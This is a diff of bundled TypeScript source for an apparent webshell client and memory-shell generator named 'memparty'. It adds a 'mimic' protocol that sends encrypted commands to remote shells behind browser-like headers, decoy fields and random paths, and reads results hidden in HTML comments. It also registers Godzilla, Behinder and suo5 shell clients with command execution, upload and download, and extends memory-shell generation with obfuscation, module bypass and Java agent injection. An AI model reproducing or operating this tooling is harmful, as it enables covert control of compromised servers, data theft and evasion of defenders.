return text + tail;
|
|
2009
|
+
}
|
|
2010
|
+
function stripPad(text, aesKey) {
|
|
2011
|
+
const n = padTailLength(aesKey);
|
|
2012
|
+
return n === 0 ? text : text.slice(0, Math.max(0, text.length - n));
|
|
2013
|
+
}
|
|
2014
|
+
function encryptField(plaintext, aesKey, cipher = LEGACY_CIPHER) {
|
|
2015
|
+
let out = encodeBytes(crypt(plaintext, aesKey, true, cipher.algorithm), cipher.encoding);
|
|
2016
|
+
if (cipher.padTail) out = appendPad(out, aesKey);
|
|
2017
|
+
return out;
|
|
2018
|
+
}
|
|
2019
|
+
function decryptField(value, aesKey, cipher = LEGACY_CIPHER) {
|
|
2020
|
+
let text = value;
|
|
2021
|
+
if (cipher.padTail) text = stripPad(text, aesKey);
|
|
2022
|
+
return crypt(decodeString(text, cipher.encoding), aesKey, false, cipher.algorithm);
|
|
2023
|
+
}
|
|
2024
|
+
function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
|
|
2025
|
+
const id = md5Hex(pass + secretKey).slice(0, 5);
|
|
2026
|
+
if (cipher.marker === "html-comment") {
|
|
2027
|
+
const left2 = `<!--Re${id}_config:`;
|
|
2028
|
+
return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
|
|
2029
|
+
}
|
|
2030
|
+
const left = `var Re${id}_config="`;
|
|
2031
|
+
return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
|
|
2032
|
+
}
|
|
2033
|
+
|
|
2034
|
+
// src/connect/mimic-shared.ts
|
|
2035
|
+
import { randomBytes as randomBytes4, randomInt as randomInt2, randomUUID } from "crypto";
|
|
2036
|
+
function deriveAesKey(secretKey) {
|
|
2037
|
+
return md5Key16(secretKey);
|
|
2038
|
+
}
|
|
2039
|
+
function renderFieldValue(value) {
|
|
2040
|
+
return value.replaceAll(
|
|
2041
|
+
/\{\{hex:(\d+)\}\}/g,
|
|
2042
|
+
(_m, n) => randomBytes4(Math.ceil(Number(n) / 2)).toString("hex").slice(0, Number(n))
|
|
2043
|
+
).replaceAll(
|
|
2044
|
+
/\{\{b64:(\d+)\}\}/g,
|
|
2045
|
+
(_m, n) => randomBytes4(Math.ceil(Number(n) * 3 / 4)).toString("base64url").slice(0, Number(n))
|
|
2046
|
+
).replaceAll(/\{\{uuid\}\}/g, () => randomUUID()).replaceAll(/\{\{ts\}\}/g, () => String(Math.floor(Date.now() / 1e3))).replaceAll(
|
|
2047
|
+
/\{\{int:(\d+):(\d+)\}\}/g,
|
|
2048
|
+
(_m, a, b) => String(randomInt2(Number(a), Number(b) + 1))
|
|
2049
|
+
);
|
|
2050
|
+
}
|
|
2051
|
+
function encryptField2(plaintext, aesKey, cipher = LEGACY_CIPHER) {
|
|
2052
|
+
return encryptField(plaintext, aesKey, cipher);
|
|
2053
|
+
}
|
|
2054
|
+
function decryptField2(value, aesKey, cipher = LEGACY_CIPHER) {
|
|
2055
|
+
return decryptField(value, aesKey, cipher);
|
|
2056
|
+
}
|
|
2057
|
+
function buildFormBody(fields) {
|
|
2058
|
+
return Buffer.from(
|
|
2059
|
+
fields.map((f) => `${f.name}=${encodeURIComponent(f.value)}`).join("&"),
|
|
2060
|
+
"utf8"
|
|
2061
|
+
);
|
|
2062
|
+
}
|
|
2063
|
+
function buildJsonBody(fields) {
|
|
2064
|
+
const obj = {};
|
|
2065
|
+
for (const f of fields) obj[f.name] = f.value;
|
|
2066
|
+
return Buffer.from(JSON.stringify(obj), "utf8");
|
|
2067
|
+
}
|
|
2068
|
+
function renderBodyTemplate(template, payload) {
|
|
2069
|
+
return Buffer.from(renderFieldValue(template.replaceAll("{{payload}}", payload)), "utf8");
|
|
2070
|
+
}
|
|
2071
|
+
function extractBetween(text, left, right) {
|
|
2072
|
+
const start = text.indexOf(left);
|
|
2073
|
+
if (start === -1) return null;
|
|
2074
|
+
const valueStart = start + left.length;
|
|
2075
|
+
if (right === "") return text.slice(valueStart);
|
|
2076
|
+
const end = text.indexOf(right, valueStart);
|
|
2077
|
+
if (end === -1) return null;
|
|
2078
|
+
return text.slice(valueStart, end);
|
|
2079
|
+
}
|
|
2080
|
+
function templateDelimiters(templates, markers) {
|
|
2081
|
+
const out = [];
|
|
2082
|
+
let markerUsed = false;
|
|
2083
|
+
for (const t of templates) {
|
|
2084
|
+
const idx = t.template.indexOf("{{payload}}");
|
|
2085
|
+
if (idx !== -1) {
|
|
2086
|
+
out.push({
|
|
2087
|
+
left: t.template.slice(0, idx),
|
|
2088
|
+
right: t.template.slice(idx + "{{payload}}".length)
|
|
2089
|
+
});
|
|
2090
|
+
} else if (!markerUsed) {
|
|
2091
|
+
out.push({ left: markers.left, right: markers.right });
|
|
2092
|
+
markerUsed = true;
|
|
2093
|
+
}
|
|
2094
|
+
}
|
|
2095
|
+
if (out.length === 0) out.push({ left: markers.left, right: markers.right });
|
|
2096
|
+
return out;
|
|
2097
|
+
}
|
|
2098
|
+
|
|
2099
|
+
// src/connect/mimic.ts
|
|
2100
|
+
var BROWSER_HEADERS = {
|
|
2101
|
+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36",
|
|
2102
|
+
Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
|
2103
|
+
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
|
|
2104
|
+
"Content-Type": "application/x-www-form-urlencoded"
|
|
2105
|
+
};
|
|
2106
|
+
function buildContext(req) {
|
|
2107
|
+
const pass = req.conn.pass ?? "pass";
|
|
2108
|
+
const secretKey = req.conn.key ?? "key";
|
|
2109
|
+
let profile;
|
|
2110
|
+
const profileName = req.options.profile ?? req.conn.profile;
|
|
2111
|
+
if (profileName) {
|
|
2112
|
+
profile = loadProfile(profileName);
|
|
2113
|
+
}
|
|
2114
|
+
const cipher = resolveCipher(profile?.cipher);
|
|
2115
|
+
return {
|
|
2116
|
+
pass,
|
|
2117
|
+
aesKey: deriveAesKey(secretKey),
|
|
2118
|
+
cipher,
|
|
2119
|
+
markers: deriveMarkers(pass, secretKey, cipher),
|
|
2120
|
+
profile,
|
|
2121
|
+
dynamicPath: req.options.dynamicPath ?? false
|
|
2122
|
+
};
|
|
2123
|
+
}
|
|
2124
|
+
function pickRequestUrl(connUrl, ctx) {
|
|
2125
|
+
if (!ctx.dynamicPath || !ctx.profile || ctx.profile.paths.length === 0) {
|
|
2126
|
+
return connUrl;
|
|
2127
|
+
}
|
|
2128
|
+
const origin = new URL(connUrl).origin;
|
|
2129
|
+
const dir = ctx.profile.paths[randomInt3(ctx.profile.paths.length)];
|
|
2130
|
+
const slug = randomString(8).toLowerCase();
|
|
2131
|
+
return `${origin}${dir}${slug}`;
|
|
2132
|
+
}
|
|
2133
|
+
async function roundTrip(req, ctx, plaintext) {
|
|
2134
|
+
let requestUrl = pickRequestUrl(req.conn.url, ctx);
|
|
2135
|
+
const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);
|
|
2136
|
+
const secretField = shape?.secretField ?? ctx.pass;
|
|
2137
|
+
const secretIn = shape?.secretIn ?? "body";
|
|
2138
|
+
const bodyStyle = shape?.bodyStyle ?? "form";
|
|
2139
|
+
const cipher = encryptField2(Buffer.from(plaintext, "utf8"), ctx.aesKey, ctx.cipher);
|
|
2140
|
+
const decoys = (shape?.fields ?? []).map((f) => ({
|
|
2141
|
+
name: f.name,
|
|
2142
|
+
value: renderFieldValue(f.value)
|
|
2143
|
+
}));
|
|
2144
|
+
let body;
|
|
2145
|
+
const extraHeaders = {};
|
|
2146
|
+
if (secretIn === "query") {
|
|
2147
|
+
const qs = buildFormBody([...decoys, { name: secretField, value: cipher }]).toString();
|
|
2148
|
+
requestUrl += (requestUrl.includes("?") ? "&" : "?") + qs;
|
|
2149
|
+
body = Buffer.alloc(0);
|
|
2150
|
+
} else if (secretIn === "header") {
|
|
2151
|
+
extraHeaders[secretField] = cipher;
|
|
2152
|
+
body = bodyStyle === "json" ? buildJsonBody(decoys) : buildFormBody(decoys);
|
|
2153
|
+
} else if (shape?.bodyTemplate) {
|
|
2154
|
+
body = renderBodyTemplate(shape.bodyTemplate, cipher);
|
|
2155
|
+
} else {
|
|
2156
|
+
body = bodyStyle === "json" ? buildJsonBody([...decoys, { name: secretField, value: cipher }]) : buildFormBody([...decoys, { name: secretField, value: cipher }]);
|
|
2157
|
+
}
|
|
2158
|
+
const baseHeaders = { ...BROWSER_HEADERS };
|
|
2159
|
+
if (secretIn === "query") delete baseHeaders["Content-Type"];
|
|
2160
|
+
else if (shape?.bodyTemplate) {
|
|
2161
|
+
const t = shape.bodyTemplate.trimStart();
|
|
2162
|
+
if (t.startsWith("--")) {
|
|
2163
|
+
const boundary = t.split(/\r?\n/, 1)[0].slice(2);
|
|
2164
|
+
baseHeaders["Content-Type"] = `multipart/form-data; boundary=${boundary}`;
|
|
2165
|
+
} else {
|
|
2166
|
+
const inferred = inferBodyTemplateContentType(shape.bodyTemplate);
|
|
2167
|
+
if (inferred) baseHeaders["Content-Type"] = inferred;
|
|
2168
|
+
else delete baseHeaders["Content-Type"];
|
|
2169
|
+
}
|
|
2170
|
+
} else if (bodyStyle === "json") baseHeaders["Content-Type"] = "application/json";
|
|
2171
|
+
const headers = buildHeaders(
|
|
2172
|
+
{ ...baseHeaders, ...extraHeaders, ...shape?.headers ?? {} },
|
|
2173
|
+
req.common
|
|
2174
|
+
);
|
|
2175
|
+
let res;
|
|
2176
|
+
try {
|
|
2177
|
+
res = await postRaw(requestUrl, body, {
|
|
2178
|
+
headers,
|
|
2179
|
+
timeoutMs: req.common.timeoutMs,
|
|
2180
|
+
insecure: req.common.insecure
|
|
2181
|
+
});
|
|
2182
|
+
} catch (err) {
|
|
2183
|
+
return {
|
|
2184
|
+
ok: false,
|
|
2185
|
+
error: err instanceof Error ? err.message : String(err),
|
|
2186
|
+
requestUrl,
|
|
2187
|
+
status: 0,
|
|
2188
|
+
durationMs: 0
|
|
2189
|
+
};
|
|
2190
|
+
}
|
|
2191
|
+
if (res.status !== 200) {
|
|
2192
|
+
return {
|
|
2193
|
+
ok: false,
|
|
2194
|
+
error: `HTTP ${res.status} \u2014 the endpoint did not answer like a mimic shell`,
|
|
2195
|
+
requestUrl,
|
|
2196
|
+
status: res.status,
|
|
2197
|
+
durationMs: res.durationMs
|
|
2198
|
+
};
|
|
2199
|
+
}
|
|
2200
|
+
const text = res.body.toString("utf8");
|
|
2201
|
+
const delimiters = templateDelimiters(
|
|
2202
|
+
ctx.profile ? profileTemplates(ctx.profile) : [],
|
|
2203
|
+
ctx.markers
|
|
2204
|
+
);
|
|
2205
|
+
let b64 = null;
|
|
2206
|
+
for (const d of delimiters) {
|
|
2207
|
+
b64 = extractBetween(text, d.left, d.right);
|
|
2208
|
+
if (b64 !== null) break;
|
|
2209
|
+
}
|
|
2210
|
+
if (b64 === null) {
|
|
2211
|
+
return {
|
|
2212
|
+
ok: false,
|
|
2213
|
+
error: "response marker not found \u2014 wrong pass/key, or the page is not a mimic shell",
|
|
2214
|
+
requestUrl,
|
|
2215
|
+
status: res.status,
|
|
2216
|
+
durationMs: res.durationMs
|
|
2217
|
+
};
|
|
2218
|
+
}
|
|
2219
|
+
try {
|
|
2220
|
+
const output = decryptField2(b64, ctx.aesKey, ctx.cipher).toString("utf8");
|
|
2221
|
+
return { ok: true, output, requestUrl, status: res.status, durationMs: res.durationMs };
|
|
2222
|
+
} catch {
|
|
2223
|
+
return {
|
|
2224
|
+
ok: false,
|
|
2225
|
+
error: "response decryption failed \u2014 wrong key?",
|
|
2226
|
+
requestUrl,
|
|
2227
|
+
status: res.status,
|
|
2228
|
+
durationMs: res.durationMs
|
|
2229
|
+
};
|
|
2230
|
+
}
|
|
2231
|
+
}
|
|
2232
|
+
var mimicProtocol = {
|
|
2233
|
+
name: "mimic",
|
|
2234
|
+
description: "site-mimicking demo protocol (profile-driven HTML skin + dynamic paths)",
|
|
2235
|
+
async test(req) {
|
|
2236
|
+
const started = Date.now();
|
|
2237
|
+
const tool = "mimic";
|
|
2238
|
+
const url = req.conn.url;
|
|
2239
|
+
let ctx;
|
|
2240
|
+
try {
|
|
2241
|
+
ctx = buildContext(req);
|
|
2242
|
+
} catch (err) {
|
|
2243
|
+
return {
|
|
2244
|
+
ok: false,
|
|
2245
|
+
tool,
|
|
2246
|
+
url,
|
|
2247
|
+
error: err instanceof Error ? err.message : String(err),
|
|
2248
|
+
durationMs: Date.now() - started
|
|
2249
|
+
};
|
|
2250
|
+
}
|
|
2251
|
+
const canary = randomString(12);
|
|
2252
|
+
const r = await roundTrip(req, ctx, `echo ${canary}`);
|
|
2253
|
+
if (!r.ok) {
|
|
2254
|
+
return { ok: false, tool, url, error: r.error, durationMs: Date.now() - started };
|
|
2255
|
+
}
|
|
2256
|
+
if (!r.output.includes(canary)) {
|
|
2257
|
+
return {
|
|
2258
|
+
ok: false,
|
|
2259
|
+
tool,
|
|
2260
|
+
url,
|
|
2261
|
+
error: "round-trip mismatch \u2014 endpoint decrypted but did not execute the canary",
|
|
2262
|
+
durationMs: Date.now() - started
|
|
2263
|
+
};
|
|
2264
|
+
}
|
|
2265
|
+
const profileNote = ctx.profile ? `profile=${ctx.profile.name}` : "no profile";
|
|
2266
|
+
const pathNote = r.requestUrl === url ? "fixed path" : `dynamic path ${r.requestUrl}`;
|
|
2267
|
+
return {
|
|
2268
|
+
ok: true,
|
|
2269
|
+
tool,
|
|
2270
|
+
url,
|
|
2271
|
+
detail: `round-trip ok (${profileNote}; ${pathNote})`,
|
|
2272
|
+
durationMs: Date.now() - started
|
|
2273
|
+
};
|
|
2274
|
+
},
|
|
2275
|
+
async exec(req, command) {
|
|
2276
|
+
const started = Date.now();
|
|
2277
|
+
const tool = "mimic";
|
|
2278
|
+
const url = req.conn.url;
|
|
2279
|
+
let ctx;
|
|
2280
|
+
try {
|
|
2281
|
+
ctx = buildContext(req);
|
|
2282
|
+
} catch (err) {
|
|
2283
|
+
return {
|
|
2284
|
+
ok: false,
|
|
2285
|
+
tool,
|
|
2286
|
+
url,
|
|
2287
|
+
command,
|
|
2288
|
+
error: err instanceof Error ? err.message : String(err),
|
|
2289
|
+
durationMs: Date.now() - started
|
|
2290
|
+
};
|
|
2291
|
+
}
|
|
2292
|
+
const r = await roundTrip(req, ctx, command);
|
|
2293
|
+
if (!r.ok) {
|
|
2294
|
+
return { ok: false, tool, url, command, error: r.error, durationMs: Date.now() - started };
|
|
2295
|
+
}
|
|
2296
|
+
return { ok: true, tool, url, command, output: r.output, durationMs: Date.now() - started };
|
|
2297
|
+
}
|
|
2298
|
+
};
|
|
2299
|
+
|
|
2300
|
+
// src/connect/registry.ts
|
|
2301
|
+
var protocols = /* @__PURE__ */ new Map();
|
|
2302
|
+
function registerProtocol(protocol) {
|
|
2303
|
+
protocols.set(protocol.name, protocol);
|
|
2304
|
+
}
|
|
2305
|
+
function getProtocol(name) {
|
|
2306
|
+
return protocols.get(name);
|
|
2307
|
+
}
|
|
2308
|
+
function protocolNames(capability) {
|
|
2309
|
+
const all = [...protocols.values()];
|
|
2310
|
+
const usable = capability ? all.filter((p) => p[capability] !== void 0) : all;
|
|
2311
|
+
return usable.map((p) => p.name);
|
|
2312
|
+
}
|
|
2313
|
+
function requireProtocol(name) {
|
|
2314
|
+
const protocol = getProtocol(name);
|
|
2315
|
+
if (!protocol) {
|
|
2316
|
+
throw new Error(`unknown protocol ${JSON.stringify(name)} (available: ${protocolNames().join(", ")})`);
|
|
2317
|
+
}
|
|
2318
|
+
return protocol;
|
|
2319
|
+
}
|
|
2320
|
+
function unsupportedMessage(protocol, capability) {
|
|
2321
|
+
return `protocol '${protocol.name}' does not support ${capability}`;
|
|
2322
|
+
}
|
|
2323
|
+
var godzillaProtocol = {
|
|
2324
|
+
name: "godzilla",
|
|
2325
|
+
description: "Godzilla JAVA_AES_BASE64 shell",
|
|
2326
|
+
test: ({ conn, common }) => testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common),
|
|
2327
|
+
exec: ({ conn, common, options }, command) => execGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", command, {
|
|
2328
|
+
...common,
|
|
2329
|
+
os: options.os
|
|
2330
|
+
}),
|
|
2331
|
+
upload: ({ conn, common, options }, remotePath, data) => uploadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, data, {
|
|
2332
|
+
...common,
|
|
2333
|
+
remoteCharset: options.remoteCharset
|
|
2334
|
+
}),
|
|
2335
|
+
download: ({ conn, common, options }, remotePath) => downloadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, {
|
|
2336
|
+
...common,
|
|
2337
|
+
remoteCharset: options.remoteCharset
|
|
2338
|
+
})
|
|
2339
|
+
};
|
|
2340
|
+
var behinderProtocol = {
|
|
2341
|
+
name: "behinder",
|
|
2342
|
+
description: "Behinder AES shell",
|
|
2343
|
+
test: ({ conn, common }) => testBehinder(conn.url, conn.pass ?? "rebeyond", common),
|
|
2344
|
+
exec: ({ conn, common }, command) => execBehinder(conn.url, conn.pass ?? "rebeyond", command, common),
|
|
2345
|
+
upload: ({ conn, common }, remotePath, data) => uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common),
|
|
2346
|
+
download: ({ conn, common }, remotePath) => downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common)
|
|
2347
|
+
};
|
|
2348
|
+
var suo5Protocol = {
|
|
2349
|
+
name: "suo5",
|
|
2350
|
+
description: "suo5 HTTP tunnel (connect test only)",
|
|
2351
|
+
test: ({ conn, common, options }) => testSuo5(conn.url, { ...common, mode: options.suo5Mode })
|
|
2352
|
+
};
|
|
2353
|
+
registerProtocol(godzillaProtocol);
|
|
2354
|
+
registerProtocol(behinderProtocol);
|
|
2355
|
+
registerProtocol(suo5Protocol);
|
|
2356
|
+
registerProtocol(mimicProtocol);
|
|
2357
|
+
|
|
1627
2358
|
// src/core/localfile.ts
|
|
1628
|
-
import { existsSync as
|
|
1629
|
-
import { dirname as dirname2, join as
|
|
2359
|
+
import { existsSync as existsSync3, readFileSync as readFileSync4, statSync } from "fs";
|
|
2360
|
+
import { dirname as dirname2, join as join4, resolve } from "path";
|
|
1630
2361
|
var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
|
|
1631
2362
|
function remoteBasename(remotePath) {
|
|
1632
2363
|
const trimmed = remotePath.replace(/[/\\]+$/, "");
|
|
@@ -1643,18 +2374,18 @@ function resolveDownloadPath(remotePath, localArg, force) {
|
|
|
1643
2374
|
);
|
|
1644
2375
|
}
|
|
1645
2376
|
target = name;
|
|
1646
|
-
} else if (
|
|
2377
|
+
} else if (existsSync3(localArg) && statSync(localArg).isDirectory()) {
|
|
1647
2378
|
if (!name) {
|
|
1648
2379
|
throw new Error(
|
|
1649
2380
|
`cannot derive a local filename from remote path ${JSON.stringify(remotePath)} \u2014 pass -o with a file path`
|
|
1650
2381
|
);
|
|
1651
2382
|
}
|
|
1652
|
-
target =
|
|
2383
|
+
target = join4(localArg, name);
|
|
1653
2384
|
} else {
|
|
1654
2385
|
target = localArg;
|
|
1655
2386
|
}
|
|
1656
2387
|
const abs = resolve(target);
|
|
1657
|
-
if (
|
|
2388
|
+
if (existsSync3(abs)) {
|
|
1658
2389
|
if (statSync(abs).isDirectory()) {
|
|
1659
2390
|
throw new Error(`local path ${target} is a directory \u2014 pass -o with a file path`);
|
|
1660
2391
|
}
|
|
@@ -1663,13 +2394,13 @@ function resolveDownloadPath(remotePath, localArg, force) {
|
|
|
1663
2394
|
}
|
|
1664
2395
|
}
|
|
1665
2396
|
const parent = dirname2(abs);
|
|
1666
|
-
if (!
|
|
2397
|
+
if (!existsSync3(parent) || !statSync(parent).isDirectory()) {
|
|
1667
2398
|
throw new Error(`local directory ${parent} does not exist`);
|
|
1668
2399
|
}
|
|
1669
2400
|
return abs;
|
|
1670
2401
|
}
|
|
1671
2402
|
function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
|
|
1672
|
-
if (!
|
|
2403
|
+
if (!existsSync3(localPath)) {
|
|
1673
2404
|
throw new Error(`local file ${localPath} does not exist`);
|
|
1674
2405
|
}
|
|
1675
2406
|
const stat = statSync(localPath);
|
|
@@ -1681,29 +2412,29 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
|
|
|
1681
2412
|
`local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
|
|
1682
2413
|
);
|
|
1683
2414
|
}
|
|
1684
|
-
return
|
|
2415
|
+
return readFileSync4(localPath);
|
|
1685
2416
|
}
|
|
1686
2417
|
|
|
1687
2418
|
// src/core/targets.ts
|
|
1688
|
-
import { existsSync as
|
|
1689
|
-
import { homedir as
|
|
1690
|
-
import { dirname as dirname3, join as
|
|
1691
|
-
var
|
|
2419
|
+
import { existsSync as existsSync4, mkdirSync as mkdirSync3, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
|
|
2420
|
+
import { homedir as homedir4 } from "os";
|
|
2421
|
+
import { dirname as dirname3, join as join5 } from "path";
|
|
2422
|
+
var NAME_RE2 = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
|
|
1692
2423
|
function checkName(kind, name) {
|
|
1693
|
-
if (!
|
|
2424
|
+
if (!NAME_RE2.test(name)) {
|
|
1694
2425
|
throw new Error(
|
|
1695
2426
|
`invalid ${kind} name ${JSON.stringify(name)} \u2014 use letters, digits, '.', '_', '-'`
|
|
1696
2427
|
);
|
|
1697
2428
|
}
|
|
1698
2429
|
}
|
|
1699
2430
|
function targetStorePath() {
|
|
1700
|
-
return process.env.MEMPARTY_TARGETS ??
|
|
2431
|
+
return process.env.MEMPARTY_TARGETS ?? join5(homedir4(), ".memparty", "targets.json");
|
|
1701
2432
|
}
|
|
1702
2433
|
function listProjects() {
|
|
1703
2434
|
try {
|
|
1704
2435
|
const file = targetStorePath();
|
|
1705
|
-
if (!
|
|
1706
|
-
const data = JSON.parse(
|
|
2436
|
+
if (!existsSync4(file)) return {};
|
|
2437
|
+
const data = JSON.parse(readFileSync5(file, "utf8"));
|
|
1707
2438
|
if (data !== null && typeof data === "object" && !Array.isArray(data)) {
|
|
1708
2439
|
return data;
|
|
1709
2440
|
}
|
|
@@ -1716,8 +2447,8 @@ function getProject(name) {
|
|
|
1716
2447
|
}
|
|
1717
2448
|
function writeProjects(projects) {
|
|
1718
2449
|
const file = targetStorePath();
|
|
1719
|
-
|
|
1720
|
-
|
|
2450
|
+
mkdirSync3(dirname3(file), { recursive: true });
|
|
2451
|
+
writeFileSync3(file, `${JSON.stringify(projects, null, 2)}
|
|
1721
2452
|
`, { mode: 384 });
|
|
1722
2453
|
}
|
|
1723
2454
|
function saveProjectMeta(name, meta) {
|
|
@@ -1825,7 +2556,8 @@ function autoSaveShell(conn) {
|
|
|
1825
2556
|
headerValue: conn.headerValue,
|
|
1826
2557
|
extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
|
|
1827
2558
|
insecure: conn.insecure,
|
|
1828
|
-
profile: conn.profile
|
|
2559
|
+
profile: conn.profile,
|
|
2560
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
1829
2561
|
});
|
|
1830
2562
|
return `${projectName}/${shellName}`;
|
|
1831
2563
|
}
|
|
@@ -1879,10 +2611,47 @@ function resolveConnection(ref, flags) {
|
|
|
1879
2611
|
extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
|
|
1880
2612
|
insecure: flags.insecure ?? stored?.insecure,
|
|
1881
2613
|
profile: flags.profile ?? stored?.profile,
|
|
2614
|
+
upgradeProtocol: flags.upgradeProtocol ?? stored?.upgradeProtocol,
|
|
1882
2615
|
targetName
|
|
1883
2616
|
};
|
|
1884
2617
|
}
|
|
1885
2618
|
|
|
2619
|
+
// src/core/obfuscation.ts
|
|
2620
|
+
function parseObfuscationOptions(input) {
|
|
2621
|
+
if (input === void 0 || input.trim() === "") return void 0;
|
|
2622
|
+
const options = {};
|
|
2623
|
+
for (const entry of input.split(/[,\n]/)) {
|
|
2624
|
+
const separator = entry.indexOf("=");
|
|
2625
|
+
const key = entry.slice(0, separator < 0 ? void 0 : separator).trim();
|
|
2626
|
+
if (separator < 0 || key === "") {
|
|
2627
|
+
throw new Error(`Invalid obfuscation option "${entry.trim()}": expected key=value.`);
|
|
2628
|
+
}
|
|
2629
|
+
if (Object.hasOwn(options, key)) {
|
|
2630
|
+
throw new Error(`Duplicate obfuscation option "${key}".`);
|
|
2631
|
+
}
|
|
2632
|
+
const value = entry.slice(separator + 1).trim();
|
|
2633
|
+
if (value === "true" || value === "false") {
|
|
2634
|
+
options[key] = value === "true";
|
|
2635
|
+
} else if (/^-?(?:\d+|\d*\.\d+)$/.test(value)) {
|
|
2636
|
+
options[key] = Number(value);
|
|
2637
|
+
} else {
|
|
2638
|
+
options[key] = value;
|
|
2639
|
+
}
|
|
2640
|
+
}
|
|
2641
|
+
return options;
|
|
2642
|
+
}
|
|
2643
|
+
|
|
2644
|
+
// src/core/agent.ts
|
|
2645
|
+
function supportsAgentLoadArguments(shellType, packer) {
|
|
2646
|
+
return shellType.startsWith("Agent") && ["AgentJar", "AgentJarWithJDKAttacher", "AgentJarWithJREAttacher"].includes(packer);
|
|
2647
|
+
}
|
|
2648
|
+
function agentLoadExamples(agentArgs) {
|
|
2649
|
+
return [
|
|
2650
|
+
`java -jar agent.jar <pid> ${agentArgs}`,
|
|
2651
|
+
`jattach <pid> load instrument false agent.jar=${agentArgs}`
|
|
2652
|
+
];
|
|
2653
|
+
}
|
|
2654
|
+
|
|
1886
2655
|
// src/version.ts
|
|
1887
2656
|
import { createRequire } from "module";
|
|
1888
2657
|
var require2 = createRequire(import.meta.url);
|
|
@@ -1913,12 +2682,15 @@ var memShellInput = {
|
|
|
1913
2682
|
shellTool: z.string().describe("Shell tool, e.g. Godzilla, Behinder, Command"),
|
|
1914
2683
|
shellType: z.string().describe("Shell type, e.g. Listener, Filter, Servlet"),
|
|
1915
2684
|
packer: z.string().describe("Packer, e.g. Base64, Jar, JSP"),
|
|
1916
|
-
jdk: z.string().optional().describe("java6/8/9/11/17/21 or class-file major version"),
|
|
2685
|
+
jdk: z.string().optional().describe("java6/8/9/11/17/21/25 or class-file major version"),
|
|
1917
2686
|
debug: z.boolean().optional(),
|
|
1918
2687
|
byPassJavaModule: z.boolean().optional(),
|
|
1919
2688
|
shrink: z.boolean().optional(),
|
|
1920
2689
|
lambdaSuffix: z.boolean().optional(),
|
|
1921
2690
|
probe: z.boolean().optional(),
|
|
2691
|
+
obfuscate: z.boolean().optional(),
|
|
2692
|
+
obfuscationOptions: z.string().optional().describe("obfuscation overrides: key=value, comma-separated"),
|
|
2693
|
+
obfuscationScope: z.enum(["ALL", "MEMSHELL_INJECTOR", "INJECTOR", "MEMSHELL"]).optional(),
|
|
1922
2694
|
shellClassName: z.string().optional(),
|
|
1923
2695
|
godzillaPass: z.string().optional(),
|
|
1924
2696
|
godzillaKey: z.string().optional(),
|
|
@@ -1933,17 +2705,23 @@ var memShellInput = {
|
|
|
1933
2705
|
shellClassBase64: z.string().optional(),
|
|
1934
2706
|
urlPattern: z.string().optional(),
|
|
1935
2707
|
injectorClassName: z.string().optional(),
|
|
1936
|
-
staticInitialize: z.boolean().optional()
|
|
2708
|
+
staticInitialize: z.boolean().optional(),
|
|
2709
|
+
agentArgs: z.string().optional().describe("Agent load-time arguments (persist=true / restore=true); not sent to the generate API"),
|
|
2710
|
+
outputFile: z.string().optional().describe(
|
|
2711
|
+
"also write the packed payload to this local file (auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an outputFile field with the write result. Fails for aggregate packers that return several variants \u2014 pick a leaf packer (e.g. DefaultBase64)."
|
|
2712
|
+
)
|
|
1937
2713
|
};
|
|
1938
2714
|
var probeInput = {
|
|
1939
|
-
probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]),
|
|
1940
|
-
probeContent: z.string().describe("
|
|
2715
|
+
probeMethod: z.enum(["ResponseBody", "ResponseHeader", "DNSLog", "Sleep"]),
|
|
2716
|
+
probeContent: z.string().describe("Server, JDK, Bytecode, Command, ScriptEngine, Filter"),
|
|
1941
2717
|
packer: z.string(),
|
|
1942
2718
|
jdk: z.string().optional(),
|
|
1943
2719
|
debug: z.boolean().optional(),
|
|
1944
2720
|
byPassJavaModule: z.boolean().optional(),
|
|
1945
2721
|
shrink: z.boolean().optional(),
|
|
1946
2722
|
lambdaSuffix: z.boolean().optional(),
|
|
2723
|
+
obfuscate: z.boolean().optional(),
|
|
2724
|
+
obfuscationOptions: memShellInput.obfuscationOptions,
|
|
1947
2725
|
staticInitialize: z.boolean().optional(),
|
|
1948
2726
|
shellClassName: z.string().optional(),
|
|
1949
2727
|
host: z.string().optional(),
|
|
@@ -1951,7 +2729,31 @@ var probeInput = {
|
|
|
1951
2729
|
sleepServer: z.string().optional(),
|
|
1952
2730
|
server: z.string().optional(),
|
|
1953
2731
|
reqParamName: z.string().optional(),
|
|
1954
|
-
commandTemplate: z.string().optional()
|
|
2732
|
+
commandTemplate: z.string().optional(),
|
|
2733
|
+
respHeaderName: z.string().optional(),
|
|
2734
|
+
outputFile: memShellInput.outputFile
|
|
2735
|
+
};
|
|
2736
|
+
var bytecodeInput = {
|
|
2737
|
+
classBytesBase64: z.string().describe("Base64 or GzipBase64 class bytes"),
|
|
2738
|
+
outputFile: z.string().optional().describe("also write the transformed class to this local file")
|
|
2739
|
+
};
|
|
2740
|
+
var bytecodeTransformInput = {
|
|
2741
|
+
...bytecodeInput,
|
|
2742
